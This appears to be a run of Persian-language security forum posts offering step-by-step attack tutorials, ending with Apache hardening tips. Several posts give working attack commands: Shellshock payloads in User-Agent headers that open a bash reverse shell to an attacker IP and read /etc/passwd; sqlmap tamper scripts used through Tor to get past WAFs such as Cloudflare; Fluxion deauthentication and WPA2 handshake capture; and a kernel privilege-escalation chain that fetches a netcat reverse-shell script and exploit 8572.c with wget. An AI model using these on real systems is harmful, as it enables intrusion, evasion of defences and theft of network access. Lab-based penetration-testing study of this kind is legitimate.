موارد، اجرای خودکار Spider می تواند پیامدهای ناخواسته ای مانند ثبت نام حساب کاربری جدید ، تولید ایمیل های بازخورد یا تغییر حالت دیگر برنامه داشته باشد . برای بهره برداری از "Shellshock"، باید راهی برای گفتگو با Bash پیدا کنیم . به این معنی که CGI که از Bash استفاده می کند را پیدا خواهد کرد . CGI ها معمولا از پایتون یا پرل استفاده می کنند ، اما غیر معمول نیست (در سرورهای قدیمی)، CGI در Shell یا حتی C نوشته شده است. بنابراین ما یک اسکریپت به نام وضعیت “status” در زیر پوشه cgi-bin داریمMIME که از نوع JSON است. اگر از کد منبع صفحه اصلی نگاه کنید، یک لینک اسکریپت cgi وجود دارد که دستورات سیستم را اجرا می کند و آنها را در یک صفحه وب نمایش می دهد. پس از پیدا کردن صفحه CGI، میتوانید از «wget» برای آزمایش اینکه آیا آسیب پذیری ShellShock در این صفحه CGI وجود دارد یا خیر، استفاده کنید. Command: wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -c ‘echo vulnerable'” http://192.168.169.139/cgi-bin/status همانطور که در بالا می بینیم ، دستور “echo vulnerable” توسط سرور اجرا شده است، بنابراین به ShellShock آسیب پذیر است. در ابتدا یک ترمینال را به عنوان یک شنونده در پورت 5555 با استفاده از ابزار netcat تنظیم کنید. Command: nc -nlvp 5555 در ترمینال دیگری فرمان زیر که به اتصال بالا در پورت مشخص شده اتصال می دهد. Command: wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -i >& /dev/tcp/192.168.169.137/5555 0>&1″ http://192.168.169.139/cgi-bin/status اگر شروع اتصال در حالت hanging باشد ، نشانه واقعا خوبی است ، CGI در انتظار شما برای اتصال است. با رفتن به Netcat می توانیم دستورات (whoami, id, uname -a ) را به صورت محلی تایپ کنیم و آنها را در سیستم آسیب دیده به اجرا در آوریم که در زیر نشان داده شده است: همانطور که دستگاه Pentesterlab متعلق به گروه sudoers است بنابراین با تایپ دستور "sudo / bin / bash" به راحتی می توانید ROOT را دریافت کنید. علاوه بر این، شما می توانید با BurpSuite هم اکسپلویت کنید. با استفاده از BurpSuite به جای Wget، هدر User-Agent را تغییر دهید و می توانید از Burp repeater استفاده کنید درخواست را متوقف کنید و به تب Repeater ارسال کنید: توجه داشته باشید : اطمینان حاصل کنید که در پایان درخواست خام خود را در Burp ، تعداد 2 خط خالی وجود دارد در غیر این صورت درخواست کار نخواهد کرد! بخش درخواست را با کد زیر تغییر دهید تا تست کنید آیا هدف آسیب پذیر است یا خیر. GET /cgi-bin/status HTTP/1.0 user-agent: () { :; }; /bin/bash -c ‘echo Vulnerable!’ همانگونه که قبلا دیده ایم ، اگر خطای سرور داخلی عدد 500 یا عدیدی که با 5 شروع شده باشد را نشان دهد، به این معنی است که هدف به ShellShock آسیب پذیر است. در گام بعد ، سعی کنید محتویات فایل /etc / passwd با همان کد را بردارید. GET /cgi-bin/status HTTP/1.0 user-agent: () { :; }; /bin/bash -c ‘cat /etc/passwd’ اما هیچ خروجی نمایش داده نشد. در گام بعدی سعی کنید دستگاه کالی لینوکس خود را با هدرهای کامل باز کنید . GET /cgi-bin/status HTTP/1.1 Host: 192.168.169.139 User-Agent: () { :; }; /bin/bash -c ‘ping -c 3 192.168.169.137’ Accept: text/html, application/xhtml-xml, application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 اکنون مشاهده می کنید عدد 200 را به عنوان پاسخ دریافت کردیم و خروجی روی صفحه نمایش داده می شود که شما با استفاده از ابزار TCPDUMP برای درخواست ICMP می توانید آن را تایید کنید. Command: tcpdump -i eth0 -n icmp ادامه دارد ... ( کپی فقط با ذکر منبع )
  10. معرفی در فرایند اسکن توسط SQLMAP ممکن است هشداری مبنی بر این که وب سایت هدف شما با استفاده از فایروال (Web Application (WAF مانند Cloudflare محافظت می شود روبرو شوید ، سیستم های پیشگیری از نفوذ (IPS)، سیستم تشخیص نفوذ (IDS) و ... ممکن است به طور فزاینده ای تزریق (SQL (SQLi و موفقیت های شما را به چالش بکشند . هنگامی که هدف های مورد نظر شما WAF را اجرا می کنند ، تزریقات معمول SQL و اسکریپت های عادی برای تلاش های بهره برداری از امنیت برنامه های وب بی تاثیر است . خوشبختانه SQLMAP دارای یک ویژگی برچسب "tamper script" است که شما را قادر می سازد تا بررسی کنید آیا سایت آسیب پذیر است و آسیب پذیری SQLi دارد یا خیر و به طور بالقوه امضاهای WAF را می تواند دور بزند (Bypass) انواع متد ها : نکته 1: SQLMAP یک ابزار بسیار موثر است که باید فقط برای اهداف آزمایش نفوذ استفاده شود. حتی یک مبتدی که از SQLMAP استفاده می کند می تواند تاثیرات مخربی روی سیستم هدف داشته باشد . این ابزار پرسشهای متعددی را تولید می کند که ممکن است به طور قابل ملاحظه ای در پایگاه داده هدف تاثیر بگذارد. برای حداکثر اثربخشی این ابزار، توصیه می شود قبل از استفاده از SQLi به طور کامل شناخت داشته باشید. بنابراین، بهتر است که SQLMap را در سیستم هایی که تنها برای آزمایشات مورد استفاده قرار می گیرند، بکار ببرید . 1 . بررسی (شناسایی) WAF وب سایت که محافظت از برنامه وب را بر عهده دارد Sqlmap –u <Target….?id=0> --identify-waf –tamper=”between,randomcase,space2comment” –v 3 –random-agent برای بررسی اینکه آیا سایت هدف از WAF Cloudflare استفاده می کند ، ModSecurity یا بعضی از WAF های شناخته شده مانند Sucuri / Incapsula / F5 ، از گزینه زیر در SQLMAP استفاده کنید : –identity-waf OR –check-waf از "- = thread =" استفاده نکنید که بزرگتر از 1 باشد ، زیرا ممکن است به 403 Error Forbidden منجر شود که نشان می دهد آدرس IP شما ممنوع (banned) شده است از این رو، بهتر است که از پروکسی ها برای رسیدن به هدف و نفوذ به سایت استفاده کنیم نکته 2: اگر قبلا SQLMAP را دانلود نکرده اید، می توانید این کار را از سایت رسمی گیت هاب انجام دهید. نکته 3: مشاهده بیش از حد بسیاری از کدهای خطای 4xx / 5xx HTTP ممکن است نشان دهد که WAF در محیط برنامه وب مورد استفاده قرار می گیرد به یاد داشته همیشه می توانید دوباره اسکن کنید 2 .لازم است که در این مرحله از پروکسی ها استفاده کنید و به طور معمول از پروکسی های Tor استفاده می شود اما به طور مستقل نمیتوانم در هر زمانی اتصال به سرور های پروکسی را تایید کنم بنابراین شخص نفوذگر خود باید شخصا چاره ایی برای این کار پیدا کند یا از پروکسی های دیگر استفاده کند اما در اینجا یک اموزش کوتاه برای کمک به ناشناس بودن را ارائه میکنم بنابراین از گزینه های زیر در SQLMAP استفاده کنید : –tor (Tor will be enabled as SQLMAP will attempt to apply the Tor proxy settings automatically.) –tor-port (Apply Tor proxy manually) –tor-type (Apply Tor proxy manually) 3. فعال کردن عامل تصادفی از گزینه زیر برای عامل تصادفی استفاده کنید : –random-agent برای بررسی اینکه آیا Tor به درستی با SQLMAP کار می کند، از گزینه زیر استفاده کنید : –check-tor 4. پیدا کردن اسکریپت پایتون در دایرکتوری SQLMAP: به دایرکتوری SQLMAP بروید. یک دایرکتوری با نام "tamper" که دارای اسکریپت های پایتون است که می توانید استفاده کنید. اسکریپت های جانبی پایتون : گرفتن اسکریپت های بیشتری از پایتون برای استفاده با گزینه SQLMAP Tamper از اینجا . 5. طریقه استفاده راحت از اسکریپت پایتون SQLMAP : استقرار اسکریپت tamper بسیار آسان است : python sqlmap.py <options> --tamper="<script-name>.py" مثال های SQLMAP Tamper Script : به عنوان مثال، از لحاظ MSSQL، MySQL، و تست نفوذ معمولی - شما می توانید از اسکریپت های تروجان زیر استفاده کنید : between randomcase space2comment charunicodeencode (Discussed further in NOTE 4) percentage (Discussed further in NOTE 4) برای MySQL، می توانید اسکریپت های تروجان زیر را اعمال کنید : space2hash space2mysqlblank charunicodeencode (Discussed further in NOTE 4) percentage (Discussed further in NOTE 4) نکته 4: برای مخفی کردن پیلود های معکوس در ASP و ASP.NET، از اسکریپت های زیر استفاده کنید: charunicodeencode percentage نمونه کامندهای SQLMAP Tamper Script : پس از تایید اینکه سایت هدف توسط WAF مانند Cloudflare محافظت می شود، می توانید از یکی از دو دستور زیر استفاده کنید : python sqlmap.py -u "https://www.thetargetdomain/" --identify-waf --tamper="between,randomcase,space2comment" -v 3 --random-agent --tor python sqlmap.py -u "https://www.thetargetdomain/" --check-waf --tamper="between,randomcase,space2comment" -v 3 --random-agent --tor نتیجه البته، این آموزش SQLMAP صرفا محدود به دور زدن محافظت Cloudflare WAF نیست، بلکه برای دیگر راه حل های امنیتی نیز کاربرد دارد. این ابزار می تواند حداکثر توانایی خود را در دست یک تست نفوذ کننده حرفه ای با دانش گسترده SQLi و امنیت نرم افزار به دست آورد . حتی یک مبتدی می تواند از این ابزار برای ایجاد اثرات قابل توجه استفاده کند. شاید مهمترین مسئله که در ذهن داشته باشیم ، ذهنیت تست نفوذ است اگر در تست نفوذ شکست خوردید یا به مشکلاتی برخورد کردید تلاش خود را از دست ندهید ( کپی با ذکر منبع )
  11. قسمت 2 - ابزار FLUXION مرحله 7 - پس از اجرای Fluxion با تایپ کردن این دستور sudo ./fluxion ، اولین گام این است که زبان را انتخاب کنید در حال حاضر Fluxion از 6 زبان از جمله آلمانی، انگلیسی، رومانیایی، ترکی، اسپانیایی و چینی پشتیبانی می کند و برای انتخاب زبان انگلیسی، فقط شماره "2" را تایپ کنید مرحله 8 - پس از انتخاب زبان، گام بعدی این است که رابط کاربری بی سیم را بررسی کنید . اگر اینترفیس عدد 0 را نشان دهد ، ابزار Fluxion به طور خودکار خارج می شود و نشانه این است که هیچ اینترفیس بیسیمی متصل نشده است بنابراین باید یک اینترفیس WIRELESS به طورت مجزا به سیستم سخت افزاری خود وصل کنید . در صفحه نمایش زیر ، همانطور که می بینید رابط کاربری wlan0 را نشان می دهد زیرا ما از یک دیوایس بی سیم USB شرکت TP-Link با پیکربندی 150MBPS استفاده می کنیم اما برای کیفیت بهتر همیشه آداپتور بی سیم را انتخاب می کنیم که از بسته های پشتیبان مانند Alfa Card پشتیبانی می کند. برای انتخاب رابط، فقط شماره "1" را تایپ کنید. همچنین می توانید با تایپ کردن این دستور اینترفیس بی سیم را چک کنید: "iwconfig". مرحله 9 - تجهیزات Wi-Fi با دستگاه های کلاینت و روترهای با پهنای باند بالا با کانال های بی سیم ارتباط برقرار می کنند . حدود 13 کانال در یک شبکه بی سیم وجود دارد. برای این نسخه ی نمایشی، شماره "1" را انتخاب می کنیم. مرحله 10 - در این مرحله یک اسکریپت airodump-ng در back-end اجرا خواهد شد که شامل BSSID، ESSID، شماره کانال، نوع تایید ، چراغ ها ، لیست ایستگاه ها و غیره را نمایش می دهد بعد از پویش کامل ، CTRL + C را فشار دهید تا فعالیت را در ترمینال متوقف کند مرحله 11 - همانطور که می بینید، حدود 9 شبکه بی سیم را نشان می دهد که 7 شبکه از امنیت WPA2-PSK و 2 شبکه از WPA استفاده می کنند . شبکه هایی که در رنگ قرمز نشان داده می شوند به این معنی است که کلاینت در آن شبکه بیسیم متصل است . این موضوع برای ما بسیار مهم است و اگر می خواهید دوباره اسکن کنید ، فقط "r" را تایپ کنید و وارد کنید . در این مورد، ما شماره 9 را انتخاب می کنیم ، زیرا این شبکه نزدیک ترین به ما است مرحله 12 - در صفحه بعد، جزئیات کامل در مورد آن شبکه مانند نام SSID، شماره کانال، سرعت دستگاه بی سیم و BSSID آن به نام آدرس فیزیکی را نشان می دهد . و در زیر میتوانید روش های مختلفی را برای حمله به wi-fi انتخاب کنید ، اما توصیه می شود که از HOSTAPD استفاده کنید. اساسا دو راه وجود دارد که از طریق آن میتوانید با استفاده از Hostapd یا با استفاده از package airbase-ng یک AP جعلی ایجاد کنید . مرحله 13 - برای ذخیره بسته ها، هر مسیری را می توانید انتخاب کنید و اگر می خواهید مسیر پیش فرض را انتخاب کنید ، فقط ENTER را فشار دهید. مسیر پیش فرض برای ذخیره فایل cap (capture) "/root/fluxion.cap" است مرحله 14 - حالا ما باید سیگنال handshake را بررسی کنیم که برای این کار دو روش داریم : یا می توانید از aircrack-ng استفاده کنید یا می توانید از pack pyrit استفاده کنید. ما شماره "1" یعنی Pack-Air-crack را انتخاب می کنیم. مرحله 15 - برای عملیات capture handshake ، توصیه ما بر این است از شماره "1" که سیگنال deauthenticate را به تمام کانال ها و ایستگاه ها ارسال می کند و سریع ترین راه برای دریافت سیگنال handshake است استفاده کنید . به عنوان یک روش ساده برای گرفتن handshake جهت عملیات هک یا کرک بهترین حالت استفاده از ابزاری به نام Aircrack-ng و مجوز deauthentication می باشد مرحله 16 - در صفحه زیر می توانید دو صفحه نمایش دیگر را مشاهده کنید ، در بالای صفحه که در آن handshake signal مشاهده میکنید می توانید در پایین صفحه آن را دریافت کنید فعالیت deauthentication ادامه دارد تا زمانی که handshake اول را در اولین صفحه دریافت کنید . لطفا دستور deauthentication را خاتمه دهید در غیر این صورت ممکن است در پایان مشکل ایجاد شود . مرحله 17 - در این مرحله ، ممکن است شبکه "Jasdeep" باشد که ما در حال هدف گیری آن هستیم یا به عبارتی هیچ کلاینت فعالی نداریم بنابراین با فشار دادن شماره "3" می توانید با برخی از شبکه های دیگر امتحان کنید. مرحله 18 - اکنون این بار شماره Number 8 را می توانید انتخاب کنید زیرا به وضوح نشان می دهد که دارای برخی از کلاینت های فعال است بنابراین شانس بیشتری برای رسیدن به handshake وجود دارد . همانند مراحه 12 تا مرحله 17 تکرار کنید . مرحله 19 - همانطور که در سمت راست نشان داده شده است به سرعت سیگنال handshake فقط در کمتر از یک دقیقه دریافت شد ، CTRL + C را بر روی هر دو صفحه بالای صفحه فشار دهید و شماره "1" را وارد کنید . (i.e. Check Handshake) ادامه دارد .... ( کپی فقط با ذکر منبع )
  12. قسمت 1 - ابزار FLUXION همانطور که در حوزه معماری شبکه های بی سیم مطلع هستید ، پروتکل های رمزنگاری زیادی مانند WEP، WPA و WPA2 وجود دارد و یکی از ضعیف ترین پروتکل ها که بسته 24 بیتی می باشد ، پروتکل WEP است . برای همین اکثریت از پروتکل الگوریتم رمزنگاری قوی تر مانند WPA2 که بسیار پیچیده است استفاده می کنند . بحث این دوره ما صرفا برای اهداف آموزشی است و هک کردن شبکه بی سیم خصوصی بدون اجازه کتبی از مالک آن غیرقانونی می باشد و به شدت ممنوع است علم تست نفوذ تلاش برای ارزیابی امنیت یک زیرساخت فناوری اطلاعات جهت ارتقای امنیت و تلاش برای بهره برداری از آسیب پذیری و رفع آن می باشد . این آسیب پذیری ها ممکن است در سیستم عامل ها، سرویس ها و برنامه ها ، پیکربندی نامناسب یا رفتار مخاطره آمیز کاربر خطرناک باشد . درباره Kali Linux OS لینوکس Kali یکی از بهترین سیستم عامل ها مبتنی بر یونیکس است که دارای بیش از 1000 ابزار پیش نصب شده مبتنی بر شبکه / فارنزیک / webapp و غیره است . Kali Linux یک سیستم عامل منبع باز با هسته ی یکپارچه است که در هر دو معماری 32 بیت و 64 بیتی ارائه گردیده است . در توزیع کالی بسیاری از ابزارهای کرک خودکار وجود دارد که بتوانند بر شبکه های Wi-Fi مانند Gerix Wi-Fi Cracker و Fern Wi-Fi Cracker نفوذ داشته باشند اما همه این ابزارها فقط به شبکه های مبتنی بر WEP و WPA محدود می شوند . ابزار مورد بحث ما FLUXION است توسعه یافته در پایتون و معمولا برای کرک شبکه های مبتنی بر WPA2-PSK استفاده می شود. مراحل نصب Fluxion در کالی لینوکس دانلود flux-master.zip (از Github) نصب از طریق git clone نصب از طریق git clone Command: git clone https://github.com/wi-fi-analyzer/fluxion Go to the Fluxion folder by typing this command : Command : cd fluxion Run the Fluxion script as Command : ./fluxion ابزار Fluxion برای اهداف امنیتی قانونی در نظر گرفته شده و مورد استفاده قرار گیرد و شما فقط باید از آن برای محافظت از شبکه ها ومیزبانهایی که متعلق به شما هست یا مجوز تست دارید استفاده کنید . مسئولیت هر گونه استفاده دیگر پای خودتان است . مرحله 1 - برای نصب Fluxion از روش GIT از دستور زیر استفاده کنید : Command: git clone https://github.com/wi-fi-analyzer/fluxion مرحله 2 - پس از نصب، به طور خودکار یک دایرکتوری جدید را در همان مکان ایجاد می کند که Fluxion نامیده شده و با وارد کردن "cd fluxion" وارد آن دایرکتوری شوید . مرحله 3 - برای اجرای Fluxion، فقط " fluxion/. " را تایپ کنید. مرحله 4 - پس از نصب کامل، ممکن است برخی از وابستگی ها (dependencies) را نشان دهد که نصب نشده است اما در مورد وابستگی ها نگران نباشید .می توانید بسته های نصب نشده را با نصب Installer.sh/. در دایرکتوری Install به راحتی نصب کنید. ~# cd install ~# ./install.sh مرحله 5- پس از اجرای نصب مرحله 4 ، تعدادی صفحه نمایش می دهد این صفحات نمایش داده شده نصب بسته های ناپیدا و مفقود را نشان می دهد . مرحله 6 - پس از نصب کامل بسته های گم شده و ناپیدا ، می توانید به راحتی با تایپ کردن دستور "sudo ./fluxion" ابزار Fluxion را اجرا کنید ادامه دارد .... ( کپی با ذکر منبع )
  13. دوست گرامی برای اجرای عملیات فوقی که ذکر کردید بنده تنها ابزار خوبی که در این زمینه میشناسم ابزار CrabStick می باشد تجزیه و تحلیل آسیب پذیری خودکار LFI / RFI و بهره برداری از آن می باشد که می توانید با رجوع به صفحه https://github.com/Hack-Hut/CrabStick نصب و طریقه عملکرد را مشاهده کنید موفق باشید
  14. دوست گرامی اگر تسلط بر استفاده از لینوکس را دارید پیشنهاد میکنم از ابزار قدرتمند CMSeeK v1.0.8 استفاده کنید این ابزار برای تشخیص و بهره برداری سیستم مدیریت محتوا ارائه شده است توابع ابزار CMSeek: تشخیص عمومی CMS بیش از 20 سیستم مدیریت محتوا اسکن وردپرس پیشرفته نسخه را تشخیص می دهد شمارش کاربر شمارش پلاگینها شمارش موضوع تشخیص کاربران (3 روش تشخیص) تشخیص نسخه نسخه آسیب پذیر اسکن پیشرفته جوملا تشخیص نسخه جستجوگر صفحه مدیریت شناسایی آسیب پذیری اصلی چک لیست دایرکتوری تشخیص نشت پیکربندی چک های مختلف دیگر سیستم بی نظیر مدولار روش نصب : git clone https://github.com/Tuhinshubhra/CMSeeK cd CMSeeK python3 cmseek.py CMS های پشتیبانی شده: CMSeeK می تواند 22 CMS را شناسایی کند ، می توانید لیست موجود را در فایل cmss.py که در دایرکتوری cmseekdb وجود دارد پیدا کنید. تمام cms ها به صورت زیر ذخیره می شوند: cmsID = { 'name':'Name Of CMS', 'url':'Official URL of the CMS', 'vd':'Version Detection (0 for no, 1 for yes)', 'deeps':'Deep Scan (0 for no 1 for yes)' } نتیجه اسکن: تمام نتایج اسکن شما در یک فایل json با نام cms.json ذخیره می شود، همچنین می توانید لاگ های مربوطه را در داخل دایرکتوری <Result \ <Target Site پیدا کنید.
  15. به محض این که exploit را اجرا کنید ، به طور خودکار اتصال معکوس با سطح دسترسی ریشه (Root) کامل دریافت خواهید کرد و بعد با تایپ دستور commandami یا command id می توانید آن را تایید کنید . (کپی با ذکر منبع)
  16. در آموزش های قبلی با استفاده از چارچوب Metasploit با بهره برداری از آسیب پذیری ShellShock در سیستم هدف (Metasploitable2 ماشین) توانستیم یک Shell سطح پایین (low-level shell) بدست آوریم . اما Shell سطح پایین (low-level shell) یک root shell ریشه نیست و به این معنی است که شما نمی توانید تمام دستورات سطح سیستم را اجرا کنید . برای اجرای تمام دستورات سطح ریشه یا سیستم باید تمام امتیازات را افزایش دهید و وارد ریشه شوید افزایش امتیازات اساسا به معنای اضافه کردن حقوق یا مجوز بیشتر به یک حساب کاربری است. یک حمله تشدید امتیاز (privilege escalation attack) نوعی از نفوذ شبکه است که از اشتباهات برنامه نویسی یا نقص طراحی استفاده می کند تا دسترسی مهاجم به شبکه را افزایش داده و داده ها و برنامه های مربوط به آن را افزایش دهد . بنابراین در اینجا ، ما از قبل یک Shell داریم تایپ "uname -a" برای مشاهده تمام اطلاعات هسته در مورد سیستم است و به نظر می رسد که نسخه کرنل 2.6.24 است که نسخه بسیار قدیمی است و آخرین نسخه تقریبا 4.x.x است . دستور "lsb_release -a" تمام اطلاعات مربوط به سیستم توزیع را می دهد اساسا دو روش طبقه بندی exploits وجود دارد : exploit از راه دور : بر روی یک شبکه کار می کند و از آسیب پذیری های امنیتی بدون دسترسی قبلی به سیستم آسیب پذیر استفاده می کند. Exploit محلی : نیاز به دسترسی پیشین به سیستم آسیب پذیر برای افزایش دسترسی دارد . در اینجا ، ما 3 راه برای جستجوی Exploit برای نسخه کرنل i.e. 2.6.24 به بالا (اجرا در اوبونتو Ubunto ) را داریم : با ابزار Searchsploit از طریق وب سایت Exploit-db.com با موتور جستجوی گوگل کالی لینوکس یک ابزار منبع باز به نام SearchSploit را دارد که به طور پیش فرض در آن نصب شده است. Searchsploit ابزاری فراتر از پایگاه داده ای است که حاوی Exploit های مختلف مربوط به سطح هسته، سطح سیستم و سطح برنامه است در امنیت رایانه، یک Exploit یک قطعه نرم افزاری است که از اشکال، خرابی یا آسیب پذیری استفاده می کند و منجر به دسترسی غیر مجاز، افزایش امتیاز یا عدم دسترسی به سرویس در یک سیستم کامپیوتری می شود . اگر از GNOME استاندارد Kali لینوکس استفاده می کنید ، بسته "exploitdb" قبلا به طور پیش فرض وجود نصب شده اما با این حال ، اگر از نوع Kali Light یا ISO سفارشی خود استفاده می کنید، می توانید این بسته را به صورت دستی نصب کنید : root@kali:~# apt update && apt -y install exploitdb همچنین ممکن است بخواهید برخی از بسته های مرتبط دیگر مانند "exploitdb-papers" و "exploit db-bin-sploits" را نصب کنید. اگر از Kali Linux استفاده می کنید می توانید این انتظار را داشته باشید که بسته exploitdb به صورت هفتگی به روز شود . اگر از homebrew یا Git استفاده می کنید، می توانید به روز رسانی های روزانه را (در ساعت 5:05 UTC) انتظار داشته باشید . برای جستجوی انواع Exploit با Searchsploit دستور زیر است : Command: searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6 از آنجایی که ما فقط به دنبال Exploit کردن از افزایش سطح دسترسی هستیم ، در میان لیست بالا گزینه C.8572 برای لینوکس کرنل 2.6 بهترین گزینه می باشد به سادگی "locate 8572.c" را تایپ کنید تا مسیر Exploit را پیدا کنید /usr/share/exploitdb/exploits/linux/local/8572.c اکثر Exploit ها به زبان C رمزگذاری شده اند و فقط باید کامپایل این Exploit را با کامپایلر gcc و اجرای Exploit در برابر هدف قرار دهید . اما قبل از انجام این کار، اطمینان حاصل کنید که سرویس آپاچی شما باید در حالت فعال باشد. برای استارت سرور آپاچی ، دستور زیر را وارد کنید Command: service apache2 restart و برای چک کردن وضعیت، از دستور زیر استفاده کنید Command: service apache2 status در گام بعدی می توانید یک لینک نمادین بین دایرکتوری که در آن Exploit قرار دارد و دایرکتوری که در فایل های سرور کار می کند ایجاد کنید . این باعث می شود که این Exploit به صورت مستقیم دانلود شود . Command: ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html این Exploit از دایرکتوری tmp / در هدف اجرا می شود ، بنابراین ابتدا باید فایل مورد نظر را اجرا کنیم . در کالی خود gedit /var/www/html/run را وارد کنید و این خطوط را در فایل وارد کنید : Code: #! /bin/bash nc <kali-linux-ip> <port> -e /bin/bash هنگامی که این فایل اجرا می شود ، از Netcat برای اتصال به آدرس آی پی کالی در پورت 4321 استفاده می کند و یک Shell را ایجاد می کند. اکنون فایل آماده آپلود به هدف است پس به Shell سطح پایین (low-level shell) برگردید و با تایپ کردن "cd / tmp" به دایرکتوری tmp / تغییر دهید و از ابزار wget برای اتصال به سرور در حال اجرا در Kali و انتقال فایل ها به دستگاه هدف استفاده کنید . Command: wget http://<kali-ip>/run سپس با استفاده از تایپ wget http://192.168.20.129/local/8572.c ، اکسپلویت را بارگیری کنید در حال حاضر ما قبلا تمام فایل های مورد نیاز را به سرور مقصد انتقال داده ایم ، بنابراین زمان آن رسیده که کامپایل Exploit از کامپایلر gcc را با تایپ دستور زیر انجام دهیم Command: gcc -o exploit 8572.c از آنجا که Exploit در زبان C می باشد بنابراین باید آن را اجرایی کنیم اما همانطور که می بینید ، برخی از خطاها مربوط به شناسه هایی مانند "find id" (لینک دهنده پویا) می باشد که مشاهده می کنید ، بنابراین باید مسیر فرمان id را با ویژگی B- تعریف کنیم که در زیر دستور زیر نشان داده شده است Command: gcc -B /usr/bin -o exploit 8572.c از دستور "ls" را براي تأييد اينکه آیا از سرور استفاده کرديد ، استفاده کنید در مستند سازی فایل 8572.c ، ما باید PID (شناسه پردازش) سوکت Netlink را پیدا کنیم، که معمولا PID فرآیند UDEVD منهای یک است PID : هر بار که یک کاربر یا سیستم (لینوکس) یک برنامه را اجرا می کند ، هسته یک فرآیند ایجاد می کند. این فرآیند جزئیات اجرایی برنامه در حافظه مانند داده های ورودی و خروجی آن، متغیرها و غیره را نگه می دارد. از آنجا که لینوکس یک سیستم عامل چند وظیفه ای است و چندین برنامه را همزمان اجرا می کند بنابراین در اجرای هر فرآیند پردازش آن باید مشخص شود . هسته هر فرآیند را با استفاده از یک شناسه پردازش (PID) شناسایی می کند ، هر پروسه برای جلوگیری از هر گونه خطا در اجرا باید از PID های منحصر به فرد از فرآیندهای دیگر که هنگام فراخوانی اختصاص داده شده است استفاده کند. ما می توانیم این کار را با اجرای دستور cat /proc/net/netlink انجام دهیم و تنها PID غیر صفر باید شماره ای باشد که می خواهیم (که در مورد ما 2765 است) بررسی کنید که با اجرای دستور ps aux | grep udev باید یک عدد بالاتر باشد (2766) در گام بعدی نیاز به تنظیم یک شنونده (listener) با کمک دستور netcat با همان پورت i.e. 4321 را دارید . از دستور زیر استفاده کنید Command: nc -lvp 4321 اکنون شنونده (listener) شما آماده است ، exploit شما قبلا کامپایل شده است و در قالب اجرایی است ، بنابراین exploit را با تایپ کردن exploit 2765/ . در سرور مقصد انجام دهید . به یاد داشته باشید PID netlink را به عنوان یک استدلال یا اثبات (argument) منتقل کنید ادامه دارد ... (کپی با ذکر منبع)
  17. کاهش مقدار Timeout توصیه می شود مقدار Timeout را از 300 به 60 کاهش دهید و در آخر فراموش نکنید سریس آپاچی خود را راه اندازی مجدد کنید همچنین به راحتی می توانید وضعیت سرویس را با تایپ کردن دستور زیر در تصویر زیر ببینید در تصویر زیر، شما به راحتی می توانید تمام مقادیر هدر را مشاهده کنید که ما در Apache در وب محلی خودمان در دستگاه لینوکس Kali قرار داده ایم. ( کپی با ذکر منبع )
  18. سرور آپاچی یک بخش قابل توجهی در حوزه نرم افزاری است این بسته پایه توزیع شده توسط بنیاد نرم افزار آپاچی کاملا کامل و بسیار قدرتمند است و تلاش زیادی برای جلوگیری از نفوذ در آن صورت گرفته است. یکی از جنبه های این بسته قابلیت توسعه طراحی می باشد .آپاچی بیش از دو برابر سهم بازار را در مقابل رقیب مایکروسافتی خود دارد و صرفا فقط به این دلیل نیست که نرم افزار رایگان است و هیچ هزینه ای ندارد. آپاچی منبع باز است، به این معنی که کد منبع می تواند توسط هر کسی که مورد تمایل است مورد بررسی قرار گیرد غیرفعال کردن امضای آپاچی وب سرور برای غیرفعال کردن امضای وب سرور آپاچی، فایل زیر را ویرایش کنید و کد زیر را در آن وارد کنید همانطور که در زیر مشاهده میکنید File Name – /etc/apache2/apache2.conf Code – ServerSignature Off ServerTokens Prod مخفی کردن نسخه پی اچ پی برای پنهان کردن نسخه PHP، فقط فایل php.ini را ویرایش کنید و متغیر محیطی را که به عنوان expose_php نامیده می شود را در زیر تصویر زیر off کنید. File name – /etc/php/7.0/apache2/php.ini Code – expose_php = Off غیر فعال کردن مرورگر دایرکتوری در سطح جهانی (Globally) برای غیرفعال کردن مرور پوشه، فقط دستور زیر را اجرا کنید و فراموش نکنید سرور آپاچی خود را مجددا راه اندازی کنید. Command: sudo a2dismod autoindex و قطعه کد زیر را در همان فایل اضافه کنید /etc/apache2/conf-enabled/security.conf <Directory /var/www/html> Options None AllowOverride All Order Allow,Deny Allow from All </Directory> غیر فعال کردن SSLv2 و SSLv3 برای غیر فعال کردن SSL 2.0 و SSL 3.0 و اطمینان از استفاده از پروتکل های قوی تر TLS؛ فایل زیر را ویرایش کنید و SSLProtocol دهید /etc/apache2/mods-available/ssl.conf Code: SSLProtocol -all +TLSv1 غیرفعال کردن رمزهای ضعیف هنگام استفاده از SSL بسیار مهم است که رمزهای ضعیف را غیرفعال کنید . برای غیرفعال کردن آن، فقط کد SSLCipherSuite را به عنوان کد زیر و تصویر زیر تغییر دهید: Code: SSLCipherSuite HIGH:!MEDIUM:!aNULL:!MD5:!RC4 محدود کردن روش های HTTP متد های HTTP همیشه در امنیت وب سایت نقش مهمی ایفا می کنند، مخصوصا زمانی که ما درباره GET و POST صحبت می کنیم. برای غیرفعال کردن روش های HTTP، می توانید از روش whitelisting یا روش blacklisting استفاده کنید. در کد زیر ما فقط 3 روش را می خواهیم یعنی GET، POST و HEAD File: /etc/apache2/mods-available/userdir.conf کوکی را با HttpOnly و پرچم امن (Secure Flag) تنظیم کنید برای تنظیم پارامترهای کوکی ، باید دستور زیر را در ترمینال خود اجرا کنید. Command: sudo a2enmod headers فراموش نکنید که سرور وب آپاچی خود را با تایپ کردن "systemctl restart apache2" ریستارت کنید علاوه بر این، شما همچنین باید کد زیر را در همان فایل security.conf زیر "etc/apache2/conf-available/security.conf/" اضافه کنید Code: Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure جلوگیری از حملات ClickJacking برای جلوگیری از حملات ClickJacking ، فقط باید کد زیر را در یک فایل security.conf اضافه کنید که برای تنظیم مقادیر کوکی در بالا استفاده کردیم. Code: Header always append X-Frame-Options SAMEORIGIN حفاظت از حملات (XSS (Cross Site Scripting راه مناسب اینست که متغییر (variable) قبل از انتقال به Query SQL ، برای جلوگیری از حمله یا هک شدن به XSS protection متصل شود و مقدار X-XSS-Protection Header را روی مقدار 1 قرار دهید /etc/apache2/conf-available/security.conf e: Header set X-XSS-Protection “1; mode=block” اجرای 